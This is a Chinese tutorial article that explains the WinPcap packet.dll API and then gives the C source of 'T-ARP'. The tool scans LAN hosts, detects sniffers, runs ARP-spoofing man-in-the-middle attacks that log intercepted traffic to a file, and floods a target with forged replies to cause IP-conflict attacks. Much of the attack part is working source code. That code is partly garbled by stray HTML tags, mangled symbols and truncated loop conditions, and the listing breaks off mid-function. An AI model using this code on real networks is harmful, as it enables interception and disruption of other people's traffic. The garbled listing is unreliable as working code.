VC知识库文章 - 详谈调用winpcap驱动写arp多功能工具

 导读： 
　　[ 原创文档本文适合高级读者 已阅读41323次 ] 
　　详谈调用winpcap驱动写arp多功能工具 
　　作者：TOo2y 
　　一 winpcap驱动简介 
　　二 Packet.dll相关数据结构及函数 
　　三 T-ARP功能及原理介绍 
　　四 T-ARP主要代码分析 
　　五 T-ARP源代码 
　　一、winpcap驱动简介 
　　winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。 
　　(编者注：WinpCap开发包可以到以下两个网址下载: (1)http://winpcap.polito.it/, (2)VC知识库工具栏目) 
　　开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能： 
　　1> 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报； 
　　2> 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉； 
　　3> 在网络上发送原始的数据报； 
　　4> 收集网络通信过程中的统计信息。 
　　winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。 
　　目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。 
　　本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。 
　　二、Packet.dll相关数据结构及函数 
　　本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。 
　　首先介绍一些相关的数据结构： 
　　1. typedef struct _ADAPTER ADAPTER //描述一个网络适配器； 
　　2. typedef struct _PACKET PACKET //描述一组网络数据报的结构； 
　　3. typedef struct NetType NetType //描述网络类型的数据结构； 
　　4. typedef struct npf_if_addr npf_if_addr //描述一个网络适配器的ip地址； 
　　5. struct bpf_hdr //数据报头部； 
　　6. struct bpf_stat //当前捕获数据报的统计信息。 
　　下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的： 
　　1> LPPACKET PacketAllocatePacket(void) 
　　如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。 
　　2> VOID PacketCloseAdapter(LPADAPTER lpAdapter) 
　　关闭参数中提供的网络适配器，释放相关的ADAPTER结构。 
　　3> VOID PacketFreePacket(LPPACKET lpPacket) 
　　释放参数提供的_PACKET结构。 
　　4> BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize) 
　　返回可以得到的网络适配器列表及描述。 
　　5> BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries) 
　　返回某个网络适配器的全面地址信息。 
　　其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast 
　　IPAddress: ip地址 
　　SubnetMask: 子网掩码 
　　Broadcast: 广播地址 
　　6> BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type) 
　　返回某个网络适配器的MAC类型。 
　　NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况： 
　　NdisMedium802_3: Ethernet(802.3) 
　　NdisMediumWan: WAN 
　　NdisMedium802_5: Token Ring(802.5) 
　　NdisMediumFddi: FDDI 
　　NdisMediumAtm: ATM 
　　NdisMediumArcnet878_2: ARCNET(878.2) 
　　7> BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s) 
　　返回几个关于当前捕获报告的统计信息。 
　　其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt 
　　bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报； 
　　bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。 
　　8> PCHAR PacketGetVersion() 
　　返回关于dll的版本信息。 
　　9> VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length) 
　　初始化一个_PACKET结构。 
　　10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName) 
　　打开一个网络适配器。 
　　11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync) 
　　从NPF驱动程序读取网络数据报及统计信息。 
　　数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding| 
　　12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync) 
　　发送一个或多个数据报的副本。 
　　13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim) 
　　设置捕获数据报的内核级缓冲区大小。 
　　14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter) 
　　为接收到的数据报设置硬件过滤规则。 
　　以下为一些典型的过滤规则： 
　　NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报； 
　　NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收； 
　　NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收； 
　　NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收； 
　　NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收； 
　　NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。 
　　15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites) 
　　设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。 
　　16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout) 
　　设置在接收到一个数据报后“休息”的时间。 
　　以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： http://winpcap.polito.it 
　　三、T-ARP功能及原理介绍 
　　准备工作： 
　　1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3； 
　　2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项： 
　　HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter = 0x1　
　　选项: 
　　-m 主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址； 
　　-a 反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址； 
　　-s ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机； 
　　网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报； 
　　IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击； 
　　-r 重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。 
　　原理及实现过程： 
　　无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。 
　　-m 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。 
　　-a 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。 
　　-s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。 
　　-s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。 
　　-s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。 
　　-r 在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。 
　　四、T-ARP主要代码分析 
　　1> 自定义函数： 
　　int getmine() //发送ARP Request数据报，请求获得本地主机的mac地址； 
　　void getdata(LPPACKET lp,int op) //分类处理接收到的数据报； 
　　DWORD WINAPI sniff(LPVOID no) //将网络适配器设置为混杂模式，接收所有流过的数据报； 
　　DWORD WINAPI sendMASR(LPVOID no) //发送ARP Request数据报，请求获得指定ip的mac地址； 
　　DWORD WINAPI sendSR(LPVOID no) //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。 
　　2> 主要代码分析 
　　printf("/nLibarary Version: %s",PacketGetVersion()); //输出dll的版本信息； 
　　PacketGetAdapterNames((char *)adaptername,&adapterlength) //获得本地主机的网络适配器列表和描述；
　　lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开指定的网络适配器； 
　　PacketGetNetType(lpadapter,&ntype) //获得网络适配器的MAC类型； 
　　PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen) //获得指定网络适配器的相关信息； 
　　rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); //创建一个新线程来监听网络数据报； 
　　PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报； 
　　PacketSetBuff(lpadapter,500*1024) //自定义网络适配器的内核缓存的大小为 500*1024； 
　　PacketSetReadTimeout(lpadapter,1) //设置接收一个数据报后等待的时间为1毫秒； 
　　PacketReceivePacket(lpadapter,lppacketr,TRUE) //在设置为混杂模式后，接收所有的数据报； 
　　sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid); 
　　sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); //创建一个新线程发送特定的ARP数据报 
　　PacketSetNumWrites(lpadapter,2) //在发送一个数据报时，重复发送两次； 
　　PacketSendPacket(lpadapter,lppackets,TRUE) //发送自定义数据报； 
　　WaitForSingleObject(sthread,INFINITE); //等待发送ARP数据报的线程结束； 
　　PacketGetStats(lpadapter,&stat) //获得网络适配器的统计信息； 
　　五、T-ARP源代码#include "packet32.h" 
　　#include "ntddndis.h" 
　　#include <stdio.h> 
　　#include <conio.h> 
　　#pragma comment(lib,"ws2_32") 
　　#pragma comment(lib,"packet") 
　　#define ETH_IP 0x0800 
　　#define ETH_ARP 0x0806 
　　#define ARP_REQUEST 0x0001 
　　#define ARP_REPLY 0x0002 
　　#define ARP_HARDWARE 0x0001 
　　#define max_num_adapter 10 
　　#pragma pack(push,1) 
　　typedef struct ethdr 
　　{ 
　　unsigned char eh_dst[6]; 
　　unsigned char eh_src[6]; 
　　unsigned short eh_type; 
　　}ETHDR,*PETHDR; 
　　typedef struct arphdr 
　　{ 
　　unsigned short arp_hdr; 
　　unsigned short arp_pro; 
　　unsigned char arp_hln; 
　　unsigned char arp_pln; 
　　unsigned short arp_opt; 
　　unsigned char arp_sha[6]; 
　　unsigned long arp_spa; 
　　unsigned char arp_tha[6]; 
　　unsigned long arp_tpa; 
　　}ARPHDR,*PARPHDR; 
　　typedef struct iphdr 
　　{ 
　　unsigned char h_lenver; 
　　unsigned char tos; 
　　unsigned short total_len; 
　　unsigned short ident; 
　　unsigned short frag_and_flags; 
　　unsigned char ttl; 
　　unsigned char proto; 
　　unsigned short checksum; 
　　unsigned int sourceip; 
　　unsigned int destip; 
　　}IPHDR,*PIPHDR; 
　　#pragma pack(push) 
　　LPADAPTER lpadapter=0; 
　　LPPACKET lppacketr,lppackets; 
　　ULONG myip,firstip,secondip; 
　　UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0}; 
　　BOOL mm=FALSE,fm=FALSE,sm=FALSE; 
　　FILE *fp; 
　　char adapterlist[max_num_adapter][1024]; 
　　char msg[50]; 
　　int num=0; 
　　void start() 
　　{ 
　　printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002/n"); 
　　printf("Homepage: www.safechina.net/n"); 
　　printf("E-mail: [email protected]/n"); 
　　return ; 
　　} 
　　void usage() 
　　{ 
　　printf("/nUsage: T-ARP [-m|-a|-s|-r] firstip secondip /n/n"); 
　　printf("Option:/n"); 
　　printf(" -m mac Get the mac address from firstip to secondip/n"); 
　　printf(" -a antisniff Get the sniffing host from firstip to secondip/n"); 
　　printf(" -s spoof 1> Spoof the host between firstip and secondip/n"); 
　　printf(" sniff 2> Sniff if firstip == secondip == your own ip/n"); 
　　printf(" shock 3> Shock if firstip == secondip != your own ip/n"); 
　　printf(" -r reset Reset the spoofed host work normally/n/n"); 
　　printf("Attention:/n"); 
　　printf(" 1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha/n"); 
　　printf(" 2> HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//Tcpip//Parameters//IPEnableRouter == 0x1/n/n"); 
　　return ; 
　　} 
　　int getmine() 
　　{ 
　　char sendbuf[1024]; 
　　int k; 
　　ETHDR eth; 
　　ARPHDR arp; 
　　for(k=0;k<6;k++) <br >　　{ 
　　eth.eh_dst[k]=0xff; 
　　eth.eh_src[k]=0x82; 
　　arp.arp_sha[k]=0x82; 
　　arp.arp_tha[k]=0x00; 
　　} 
　　eth.eh_type=htons(ETH_ARP); 
　　arp.arp_hdr=htons(ARP_HARDWARE); 
　　arp.arp_pro=htons(ETH_IP); 
　　arp.arp_hln=6; 
　　arp.arp_pln=4; 
　　arp.arp_opt=htons(ARP_REQUEST); 
　　arp.arp_tpa=htonl(myip); 
　　arp.arp_spa=inet_addr("112.112.112.112"); 
　　memset(sendbuf,0,sizeof(sendbuf)); 
　　memcpy(sendbuf,ð,sizeof(eth)); 
　　memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); 
　　PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); 
　　if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) 
　　{ 
　　printf("PacketSendPacket in getmine Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　return 0; 
　　} 
　　void getdata(LPPACKET lp,int op) 
　　{ 
　　ULONG ulbytesreceived,off,tlen,ulen,ulLines; 
　　ULONG j,k; 
　　ETHDR *eth; 
　　ARPHDR *arp; 
　　PIPHDR ip; 
　　char *buf,*pChar,*pLine,*base; 
　　struct bpf_hdr *hdr; 
　　struct sockaddr_in sin; 
　　ulbytesreceived=lp->ulBytesReceived; 
　　buf=(char *)lp->Buffer; 
　　off=0; 
　　while(off　　{ 
　　if(kbhit()) 
　　{ 
　　return ; 
　　} 
　　hdr=(struct bpf_hdr *)(buf+off); 
　　off+=hdr->bh_hdrlen; 
　　pChar=(char *)(buf+off); 
　　base=pChar; 
　　off=Packet_WORDALIGN(off+hdr->bh_caplen); 
　　eth=(PETHDR)pChar; 
　　arp=(PARPHDR)(pChar+sizeof(ETHDR)); 
　　if(eth->eh_type==htons(ETH_IP)) 
　　{ 
　　ip=(PIPHDR)(pChar+sizeof(ETHDR)); 
　　if(fm &&sm &&(op==3)) 
　　{ 
　　if((((ip->sourceip!=htonl(myip)) &&(ip->destip!=htonl(myip)) 
　　&&!strcmp((char *)eth->eh_dst,(char *)mmac)) 
　　&&((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) 
　　|| (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip)))) 
　　|| ((firstip==myip) &&(secondip==myip))) 
　　{ 
　　memset(msg,0,sizeof(msg)); 
　　sin.sin_addr.s_addr=ip->sourceip; 
　　printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr)); 
　　strcpy(msg,inet_ntoa(sin.sin_addr)); 
　　strcat(msg+15," ---> "); 
　　sin.sin_addr.s_addr=ip->destip; 
　　printf("%16s/n",inet_ntoa(sin.sin_addr)); 
　　 
　　strcat(msg+23,inet_ntoa(sin.sin_addr)); 
　　fseek(fp,-2,1); 
　　fwrite("/r/n/r/n/r/n",6,1,fp); 
　　fwrite(msg,38,1,fp); 
　　fwrite("/r/n",2,1,fp); 
　　ulLines=(hdr->bh_caplen+15)/16; 
　　for(k=0;k　　{ 
　　pLine=pChar; 
　　printf("%08lx : ",pChar-base); 
　　ulen=tlen; 
　　ulen=(ulen>16) ? 16 : ulen; 
　　tlen-=ulen; 
　　for(j=0;j　　printf("%02x ",*(BYTE *)pChar++); 
　　if(ulen<16) 
　　printf("%*s",(16-ulen)*3," "); 
　　pChar=pLine; 
　　for(j=0;j<ulen;j++,pchar++)
　　{ 
　　printf("%c",isprint(*pChar)? *pChar : ''.''); 
　　fputc(isprint(*pChar) ? *pChar : ''.'',fp); 
　　} 
　　printf("/n"); 
　　} 
　　printf("/n"); 
　　fwrite("/r/n",2,1,fp); 
　　} 
　　} 
　　continue; 
　　} 
　　else if((eth->eh_type==htons(ETH_ARP)) &&(arp->arp_opt==htons(ARP_REPLY))) 
　　{ 
　　sin.sin_addr.s_addr=arp->arp_spa; 
　　if(sin.sin_addr.s_addr==htonl(myip)) 
　　{ 
　　memcpy(mmac,eth->eh_src,6); 
　　if(!mm) 
　　{ 
　　printf("/t"); 
　　for(k=0;k<5;k++) <br >　　printf("%.2x-",eth->eh_src[k]); 
　　printf("%.2x/n",eth->eh_src[5]); 
　　switch(op) 
　　{ 
　　case 1: 
　　printf("/n[MAC LIST:]"); 
　　break; 
　　case 2: 
　　printf("/n[Sniffing Host:]"); 
　　break; 
　　default: 
　　break; 
　　} 
　　} 
　　mm=TRUE; 
　　} 
　　if((op==1) || (op==2)) 
　　{ 
　　printf("/n[IP:] %.16s/t[MAC:] ",inet_ntoa(sin.sin_addr)); 
　　for(k=0;k<5;k++) <br >　　printf("%.2x-",eth->eh_src[k]); 
　　printf("%.2x",eth->eh_src[5]); 
　　} 
　　else if(((op==3) || (op==4)) &&(!fm || !sm)) 
　　{ 
　　if(arp->arp_spa==htonl(firstip)) 
　　{ 
　　memcpy(fmac,eth->eh_src,6); 
　　fm=TRUE; 
　　} 
　　 
　　if(arp->arp_spa==htonl(secondip)) 
　　{ 
　　memcpy(smac,eth->eh_src,6); 
　　sm=TRUE; 
　　} 
　　} 
　　} 
　　} 
　　return ; 
　　} 
　　 
　　DWORD WINAPI sniff(LPVOID no) 
　　{ 
　　int option=*(int *)no; 
　　char recvbuf[1024*250]; 
　　if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) 
　　{ 
　　printf("Warning: Unable to set the adapter to promiscuous mode/n"); 
　　} 
　　if(PacketSetBuff(lpadapter,500*1024)==FALSE) 
　　{ 
　　printf("PacketSetBuff Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　if(PacketSetReadTimeout(lpadapter,1)==FALSE) 
　　{ 
　　printf("Warning: Unable to set the timeout/n"); 
　　} 
　　if((lppacketr=PacketAllocatePacket())==FALSE) 
　　{ 
　　printf("PacketAllocatePacket receive Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf)); 
　　while(!kbhit()) 
　　{ 
　　if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE) 
　　{ 
　　return -1; 
　　} 
　　getdata(lppacketr,option); 
　　} 
　　return 0; 
　　} 
　　DWORD WINAPI sendMASR(LPVOID no) 
　　{ 
　　int fun=*(int *)no; 
　　int k,stimes; 
　　char sendbuf[1024]; 
　　ETHDR eth; 
　　ARPHDR arp; 
　　 
　　if(fun<1 || fun>4) 
　　{ 
　　return -1; 
　　} 
　　else 
　　{ 
　　for(k=0;k<6;k++) <br >　　{ 
　　eth.eh_dst[k]=0xff; 
　　arp.arp_tha[k]=0x00; 
　　} 
　　if(fun==2) 
　　eth.eh_dst[5]=0xfe; 
　　} 
　　memcpy(eth.eh_src,mmac,6); 
　　eth.eh_type=htons(ETH_ARP); 
　　arp.arp_hdr=htons(ARP_HARDWARE); 
　　arp.arp_pro=htons(ETH_IP); 
　　arp.arp_hln=6; 
　　arp.arp_pln=4; 
　　arp.arp_opt=htons(ARP_REQUEST); 
　　arp.arp_spa=htonl(myip); 
　　memcpy(arp.arp_sha,mmac,6); 
　　if(fun==1 || fun==2) 
　　stimes=1; 
　　else if(fun==3 || fun==4) 
　　stimes=2; 
　　for(k=0;k<stimes;k++)
　　{ 
　　if(stimes==1) 
　　{ 
　　arp.arp_tpa=htonl(firstip+(num++)); 
　　} 
　　else if(stimes==2) 
　　{ 
　　switch(k) 
　　{ 
　　case 0: 
　　arp.arp_tpa=htonl(firstip); 
　　break; 
　　case 1: 
　　arp.arp_tpa=htonl(secondip); 
　　break; 
　　default: 
　　break; 
　　} 
　　} 
　　memset(sendbuf,0,sizeof(sendbuf)); 
　　memcpy(sendbuf,ð,sizeof(eth)); 
　　memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); 
　　PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); 
　　if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) 
　　{ 
　　printf("PacketSendPacket in sendMASR Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　} 
　　return 0; 
　　} 
　　 
　　DWORD WINAPI sendSR(LPVOID no) 
　　{ 
　　int fun=*(int *)no; 
　　int j,k; 
　　char sendbuf[1024]; 
　　struct sockaddr_in fsin,ssin; 
　　BOOL stimes=FALSE; 
　　ETHDR eth; 
　　ARPHDR arp; 
　　fsin.sin_addr.s_addr=htonl(firstip); 
　　ssin.sin_addr.s_addr=htonl(secondip); 
　　eth.eh_type=htons(ETH_ARP); 
　　arp.arp_hdr=htons(ARP_HARDWARE); 
　　arp.arp_pro=htons(ETH_IP); 
　　arp.arp_hln=6; 
　　arp.arp_pln=4; 
　　arp.arp_opt=htons(ARP_REPLY); 
　　if(fun==3) 
　　{ 
　　if(mm) 
　　{ 
　　if((firstip==myip) &&(secondip==myip)) 
　　{ 
　　fm=TRUE; 
　　sm=TRUE; 
　　memcpy(fmac,mmac,6); 
　　memcpy(smac,mmac,6); 
　　} 
　　else if(!fm || !sm) 
　　{ 
　　printf("/nNot get enough data/n"); 
　　return -1; 
　　} 
　　for(j=0;j<2;j++) 
　　{ 
　　if(j==0) 
　　{ 
　　printf("/nSpoofing %.16s : ",inet_ntoa(fsin.sin_addr)); 
　　printf("%.16s ==> ",inet_ntoa(ssin.sin_addr)); 
　　} 
　　else if(j==1) 
　　{ 
　　printf("Spoofing %.16s : ",inet_ntoa(ssin.sin_addr)); 
　　printf("%.16s ==> ",inet_ntoa(fsin.sin_addr)); 
　　} 
　　for(k=0;k<5;k++) <br >　　printf("%.2x-",mmac[k]); 
　　printf("%.2x/n",mmac[5]); 
　　} 
　　printf("/ni will try to snoof .../n/n"); 
　　stimes=TRUE; 
　　} 
　　else 
　　{ 
　　printf("/nNot get enough data/n"); 
　　return -1; 
　　} 
　　} 
　　else if(fun==4) 
　　{ 
　　if(mm) 
　　{ 
　　if((firstip==myip) &&(secondip==myip)) 
　　{ 
　　fm=TRUE; 
　　sm=TRUE; 
　　memcpy(fmac,mmac,6); 
　　memcpy(smac,mmac,6); 
　　} 
　　else if(!fm || !sm) 
　　{ 
　　printf("/nNot get enough data/n"); 
　　return -1; 
　　} 
　　printf("/nReset %.16s : ",inet_ntoa(fsin.sin_addr)); 
　　printf("%.16s ==> ",inet_ntoa(ssin.sin_addr)); 
　　for(k=0;k<5;k++) <br >　　printf("%.2x-",smac[k]); 
　　printf("%.2x/n",smac[5]); 
　　printf("Reset %.16s : ",inet_ntoa(ssin.sin_addr)); 
　　printf("%.16s ==> ",inet_ntoa(fsin.sin_addr)); 
　　for(k=0;k<5;k++) <br >　　printf("%.2x-",fmac[k]); 
　　printf("%.2x/n/n",fmac[5]); 
　　stimes=FALSE; 
　　} 
　　else 
　　{ 
　　printf("/nNot get enough data/n"); 
　　return -1; 
　　} 
　　} 
　　else 
　　return -1; 
　　do 
　　{ 
　　memcpy(eth.eh_dst,fmac,6); 
　　memcpy(arp.arp_tha,fmac,6); 
　　arp.arp_tpa=htonl(firstip); 
　　arp.arp_spa=htonl(secondip); 
　　if(!stimes) 
　　{ 
　　memcpy(eth.eh_src,smac,6); 
　　memcpy(arp.arp_sha,smac,6); 
　　} 
　　else 
　　{ 
　　memcpy(eth.eh_src,mmac,6); 
　　memcpy(arp.arp_sha,mmac,6); 
　　} 
　　memset(sendbuf,0,sizeof(sendbuf)); 
　　memcpy(sendbuf,ð,sizeof(eth)); 
　　memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); 
　　PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); 
　　if(PacketSetNumWrites(lpadapter,2)==FALSE) 
　　{ 
　　printf("Warning: Unable to send a packet 2 times/n"); 
　　} 
　　if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) 
　　{ 
　　printf("PacketSendPacket in SendSR Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　Sleep(1000); 
　　memcpy(eth.eh_dst,smac,6); 
　　memcpy(arp.arp_tha,smac,6); 
　　arp.arp_tpa=htonl(secondip); 
　　arp.arp_spa=htonl(firstip); 
　　if(!stimes) 
　　{ 
　　memcpy(eth.eh_src,fmac,6); 
　　memcpy(arp.arp_sha,fmac,6); 
　　} 
　　else 
　　{ 
　　memcpy(eth.eh_src,mmac,6); 
　　memcpy(arp.arp_sha,mmac,6); 
　　} 
　　memset(sendbuf,0,sizeof(sendbuf)); 
　　memcpy(sendbuf,ð,sizeof(eth)); 
　　memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); 
　　PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); 
　　if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) 
　　{ 
　　printf("PacketSendPacket int sendSR Error: %d/n",GetLastError()); 
　　return -1; 
　　} 
　　Sleep(1000); 
　　}while(stimes); 
　　if(fun==4) 
　　printf("Reset Successfully"); 
　　return 0; 
　　} 
　　int main(int argc,char *argv[]) 
　　{ 
　　HANDLE sthread,rthread; 
　　WCHAR adaptername[8192]; 
　　WCHAR *name1,*name2; 
　　ULONG adapterlength; 
　　DWORD threadsid,threadrid; 
　　struct NetType ntype; 
　　struct bpf_stat stat; 
　　struct sockaddr_in sin; 
　　struct npf_if_addr ipbuff; 
　　int adapternum=0,opti=0,open,i,total; 
　　long npflen; 
　　system("cls.exe"); 
　　start(); 
　　if(argc!=4) 
　　{ 
　　usage(); 
　　getche(); 
　　return -1; 
　　} 
　　else 
　　{ 
　　if(!strcmp(argv[1],"-m")) 
　　{ 
　　opti=1; 
　　} 
　　else if(!strcmp(argv[1],"-a")) 
　　{ 
　　opti=2; 
　　} 
　　else if(!strcmp(argv[1],"-s")) 
　　{ 
　　opti=3; 
　　 
　　if((fp=fopen("capture.txt","w+"))==NULL) 
　　{ 
　　printf("Open capture.txt Error: %d/n"); 
　　return -1; 
　　} 
　　else 
　　{ 
　　fwrite("T-ARP Captrue Data",20,1,fp); 
　　} 
　　} 
　　else if(!strcmp(argv[1],"-r")) 
　　{ 
　　opti=4; 
　　} 
　　else 
　　{ 
　　usage(); 
　　getche(); 
　　return -1; 
　　} 
　　} 
　　firstip=ntohl(inet_addr(argv[2])); 
　　secondip=ntohl(inet_addr(argv[3])); 
　　total=secondip-firstip+1; 
